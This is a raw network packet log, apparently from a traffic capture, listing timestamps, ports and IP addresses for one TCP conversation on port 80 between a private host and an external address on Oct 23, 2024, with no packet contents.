Oct 23, 2024 15:48:12.073194981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073203087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073223114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073249102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073446989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073462963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073478937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073487997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073498964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073513985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073534012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073534012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073569059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073584080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073599100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073606014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073621035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073627949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073641062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073672056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073714018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073755980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073769093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073785067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073806047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073822021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073822975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073838949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073854923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073859930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073870897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073875904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073894024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073900938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073908091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073926926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073935032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.073951006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073968887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.073981047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074029922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074044943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074058056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074065924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074069023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074083090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074093103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074107885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074117899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074124098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074139118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074146032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074165106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074172020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074182987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074188948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074198961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074204922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074214935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074219942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074229956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074234009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074253082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074254990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074270010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074279070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074285984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074301004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074307919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074307919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074318886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074341059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074342966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074359894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074373960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074383020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074398041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074413061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074414015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074414015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074429035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074434996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074445009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074450970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074470043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074475050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074486971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074498892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074502945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074506998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074517965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074523926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074533939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074561119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074600935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074616909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074630976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074637890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074651957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074665070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074783087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074822903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074836016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074851990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074877024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074884892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074898005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074899912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074917078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074922085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074935913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074939966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074950933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074954987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074968100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.074974060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.074985027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075001001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075001001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075007915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075021982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075026989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075032949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075043917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075062990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075067043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075077057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075089931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075105906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075107098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075124025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075128078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075139999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075146914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075155020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075155973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075175047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075191021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075465918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075481892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075495958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075510979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075516939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075525045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075526953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075542927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075556993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075560093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075576067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075597048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075624943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075689077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075714111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075728893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075731039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075751066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075768948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075769901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075787067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075803995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075810909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075819016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075834036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075840950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075851917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075860977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075867891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075884104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075895071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075901985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075902939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075923920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075927973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075951099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075958014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.075984001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.075999975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076025009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076039076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076049089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076050043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076056004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076059103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076071024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076077938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076087952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076102018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076102018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076109886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076122046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076143026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076200962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076216936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076232910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076241016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076248884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076260090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076266050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076267004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076284885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076293945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076311111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076313019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076328039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076329947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076347113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076354027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076370955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076385021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076427937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076443911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076461077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076541901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076541901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076735973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076750994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076765060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076776028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076785088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076785088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076790094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076806068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076814890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076818943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076833963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076834917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076852083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076859951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076867104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076867104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076869011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076886892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076888084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076904058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076906919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076922894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076925039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076939106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076946974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076955080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076961994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076972008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076972961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.076988935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.076994896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077003956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077009916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077022076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077025890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077038050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077044010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077059984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077068090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077153921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077168941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077183008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077192068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077200890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077219963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077307940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077323914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077352047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077363014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077788115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077835083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077842951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077857971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077872992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077883005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077891111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077893019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077915907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077922106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077949047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077964067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077979088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.077986002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.077999115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078013897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078196049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078212023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078226089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078241110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078252077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078264952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078308105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078330994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078346014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078346014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078361034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078366041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078380108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078386068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078398943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078399897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078414917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078423977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078430891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078433037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078452110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078453064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078469038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078471899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078485966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078489065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078505993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078524113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078694105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078707933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078722954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078739882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078747988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078763008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078768969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078778028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078784943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078794003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078794956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078811884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078813076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078820944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078828096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078845024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078847885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078860044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.078862906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078881025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078895092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.078993082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.079019070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.079027891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:12.079034090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:12.079051971 CEST	80	49730	185.215.113.37	192.168.2.4
